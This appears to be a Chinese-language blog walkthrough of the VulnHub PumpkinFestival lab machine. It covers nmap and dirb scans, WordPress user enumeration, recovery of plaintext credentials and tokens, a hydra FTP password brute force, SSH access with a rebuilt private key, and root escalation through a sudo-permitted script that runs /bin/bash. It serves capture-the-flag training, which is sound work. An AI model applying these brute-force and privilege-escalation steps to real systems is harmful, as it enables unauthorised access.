信息收集:
靶机地址:https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinfestival,329/
(1)ip扫描
nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:3E:67:79'
![](https://img-blog.csdnimg.cn/img_convert/20487f11c1c6b15c0c3601d268759301.png)
(2)端口扫描
nmap 192.168.254.150 -p- -A
![](https://img-blog.csdnimg.cn/img_convert/e4bb65c814907b39a52619e222e50676.png)
(3)目录扫描
dirb http://192.168.254.150
![](https://img-blog.csdnimg.cn/img_convert/f70aa58d69e724d5240af2bb68749ec4.png)
(4)访问80端口,提到用户 harry ,看到 Alohomora! ,好像是个人名,或许可以作为账号或密码,留存
![](https://img-blog.csdnimg.cn/img_convert/c7d937d27aec4148464db54ffee3d35f.png)
(5)这里没什么发现,f12查看源码,得到一串 token 值
45d9ee7239bc6b0bb21d3f8e1c5faa52
![](https://img-blog.csdnimg.cn/img_convert/57e2f940716606631bd84163f7a3b73d.png)
(6)访问robots.txt
![](https://img-blog.csdnimg.cn/img_convert/27fee68d86f926c78baf0dcc0e0e1001.png)
(7)访问tokens时,权限被拒绝,可能存在文件,尝试访问token.txt,得到第二个 token
2c0e11d2200e2604587c331f02a7ebea
![](https://img-blog.csdnimg.cn/img_convert/416b4ebce1016e7333d37c378eefeaa4.png)
(8)依次拼接访问,访问 /store/track.txt 时,得到一串值和一个邮箱
Tracking code : 2542 8231 6783 486
admin@pumpkins.local
![](https://img-blog.csdnimg.cn/img_convert/1786d787dc138c3fc7089e60bf31a3b4.png)
(9)看到 local ,可能需要绑定hosts,在 hosts 中写入
192.168.254.150 pumpkins.local
![](https://img-blog.csdnimg.cn/img_convert/b4f4ddb345c07f895b6ca0b962e1eccf.png)
(10)访问 pumpkins.local,发现第三个 token
06c3eb12ef2389e2752335beccfb2080
![](https://img-blog.csdnimg.cn/img_convert/391d1e6cec7d4c43ef43cd8af50dcb95.png)
(11)dirb目录扫描,看到有 wordpress (kali中/etc/hosts也需要配置一下)
dirb http://pumpkins.local/
![](https://img-blog.csdnimg.cn/img_convert/014a92426cccd06d6c7d583543f5976c.png)
![](https://img-blog.csdnimg.cn/img_convert/52b791da4e785638dcc39d78e4bb21bc.png)
(12)wpscan扫描一下,发现两个用户
wpscan --url http://pumpkins.local -e at -e ap -e u
admin
morse
![](https://img-blog.csdnimg.cn/img_convert/c287c1ce97c7a315b3990ff644be2c2b.png)
(13)发现一个 readme.html 文件,访问一下,发现一串字符
http://pumpkins.local/readme.html
K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s
![](https://img-blog.csdnimg.cn/img_convert/5cb401c69df682913cb86aa512df232c.png)
(14)试了试,是base62编码,解码后得到 用户morse 和 jack 和一个密码
morse & jack : Ug0t!TrIpyJ
![](https://img-blog.csdnimg.cn/img_convert/47ee4ae486128b904ce4b9da469a2a39.png)
(15)访问 wp-admin,登录,morse 用户成功登录
http://pumpkins.local/wp-admin
morse:Ug0t!TrIpyJ
![](https://img-blog.csdnimg.cn/img_convert/6d9a5d53a8575802e009daea3334efc9.png)
(16)在 profile 下发现第四个token
7139e925fd43618653e51f820bc6201b
![](https://img-blog.csdnimg.cn/img_convert/84ea03bbb9a608ba9ba05fa4c8172f0a.png)
(17)之前 wpscan 扫描时,扫描到一个admin用户,尝试登录失败,密码,试试之前80端口看到的 Alohomora! ,登录成功,发现第五个token
admin:Alohomora!
f2e00edc353309b40e1aed18e18ab2c4
![](https://img-blog.csdnimg.cn/img_convert/dae46341f493385be689736c0b672a66.png)
(18)ftp 尝试匿名登录,登录成功
ftp 192.168.254.150
anonymous
![](https://img-blog.csdnimg.cn/img_convert/0ce33d60352133062abf78a436dc7f57.png)
(19)在 secret 下发现 token.txt ,下载下来,查看文件,得到第六个 token
get token.txt
cat token.txt
2d6dbbae84d724409606eddd9dd71265
![](https://img-blog.csdnimg.cn/img_convert/479fb833920949851422f45748e6237a.png)
(20)目前还剩 harry 用户密码没有获取,尝试破解,使用 hydra 工具,得到密码 yrrah
hydra -l harry -P /usr/share/wordlists/rockyou.txt 192.168.254.150 ftp -e nsr
harry:yrrah
![](https://img-blog.csdnimg.cn/img_convert/c19efddd82e5484edace004ffee251ae.png)
(21)登录 ftp ,发现 token.txt
ftp 192.168.254.150
harry:yrrah
![](https://img-blog.csdnimg.cn/img_convert/c1f10979438a28c14061da8e2659789a.png)
(22)将文件下载下来查看,得到第七个 token
get token.txt
cat token.txt
ba9fa9abf2be9373b7cbd9a6457f374e
![](https://img-blog.csdnimg.cn/img_convert/96b964b7887e31715a7751624ac9efa5.png)
(23)目录 Donotopen 中,一通遍历,发现 token.txt,下载查看,得到第八个 token
get token.txt
cat token.txt
f9c5053d01e0dfc30066476ab0f0564c
![](https://img-blog.csdnimg.cn/img_convert/28af5ba0a734e1083540b503433fdb2c.png)
getshell:
(1)还有个 NOOOOO 目录,进入后,再次进入 NOOOOOO 目录,发现一个 data.txt,下载查看,发现是乱码
![](https://img-blog.csdnimg.cn/img_convert/3c0853935cb2d2ae4d067f4be9562020.png)
(2)查看文件类型,是一个 tar 压缩包
file data.txt
![](https://img-blog.csdnimg.cn/img_convert/3a176f457d5b28dcb277ee2b56ab15ce.png)
(3)解压,最后 jack 为十六进制文件
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
![](https://img-blog.csdnimg.cn/img_convert/0e949aa43001370f6cc38f315a9f2df7.png)
(4)使用 xxd 将 hexdump 转换,得到一个私钥
sudo apt-get update
sudo apt-get install xxd
更新不成功记得换源
sudo vim /etc/apt/sources.list
用#把默认官方源注释掉,再加上中科大的的url:
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
具体请看
https://blog.csdn.net/weixin_46136890/article/details/124910871
xxd -r -p jack
![](https://img-blog.csdnimg.cn/img_convert/9c23ff4868c713d248a9e76c14a2c861.png)
(5)复制内容至 aaa,赋予权限后,进行 ssh 连接,连接成功
chmod 600 aaa
ssh -i aaa jack@192.168.254.150 -p 6880
![](https://img-blog.csdnimg.cn/img_convert/f01563f5deb2cecb598cdbfeb3c042ec.png)
提权:
(1)查看当前目录,发现一个 token,查看为乱码
![](https://img-blog.csdnimg.cn/img_convert/94fc0aec35197eae3b5fa70ea1ac4f9a.png)
(2)查看文件类型
file token
![](https://img-blog.csdnimg.cn/img_convert/a57314fc9c6cb8553c7623803a8c86bc.png)
(3)执行命令,得到第九个token
./token
8d66ef0055b43d80c34917ec6c75f706
![](https://img-blog.csdnimg.cn/img_convert/ae76d3616759d88c12661485893626b2.png)
(4)查看当前用户权限,密码 Ug0t!TrIpyJ
sudo -l
Ug0t!TrIpyJ
![](https://img-blog.csdnimg.cn/img_convert/732e9842d51b64f3b0215a2095d385be.png)
(5)pumpkins 目录下 alohomora 文件有root权限,创建 pumpkins 目录并创建 alohomora 文件,赋予权限并写入 /bin/bash,sudo执行,提权成功
mkdir pumpkins
cd pumpkins
vi alohomora
/bin/bash
chmod 777 alohomora
sudo ./alohomora
![](https://img-blog.csdnimg.cn/img_convert/3f2333f982fc934229a838f762d21f07.png)
(6)切换到 /root 目录下,发现最后的文件
![](https://img-blog.csdnimg.cn/img_convert/05a6b5901cf3b42801909884e111997e.png)
(7)看文章发现还漏一个,在 license.txt 中
http://pumpkins.local/license.txt
5ff346114d634a015ce413e1bc3d8d71
![](https://img-blog.csdnimg.cn/img_convert/eab8b3d3e6eeef3f40d43b5fe8397579.png)